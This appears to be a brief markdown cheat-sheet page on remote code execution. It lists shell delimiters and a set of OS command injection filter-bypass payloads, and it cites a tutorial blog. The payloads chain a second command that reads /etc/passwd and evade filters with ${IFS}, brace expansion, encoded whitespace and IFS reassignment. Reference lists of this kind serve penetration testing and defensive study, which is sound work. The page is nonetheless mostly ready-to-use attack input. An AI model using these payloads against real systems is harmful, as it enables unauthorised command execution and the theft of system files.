remote-code-execution-rce.md

Remote Code Execution (RCE)

Shell Delimiters

;
>
>>
&
&&
|
||

Bypasses

# Some simple examples of bypasses when searching for OS Command Injection as referenced from 0xFFFF's blog.

;cat${IFS}/etc/passwd
;{cat,/etc/passwd}
;cat%09/etc/passwd
;cat%0a/etc/passwd
;cat+/etc/passwd
;$lol='\x20';cat${lol}/etc/passwd
;IFS=,;`cat<<</etc,/passwd`

Filter Bypass Methods

References

{% embed url="https://0x80dotblog.wordpress.com/2021/07/28/os-command-injection-tutorial-part-1-basics-and-filter-evasion/" %}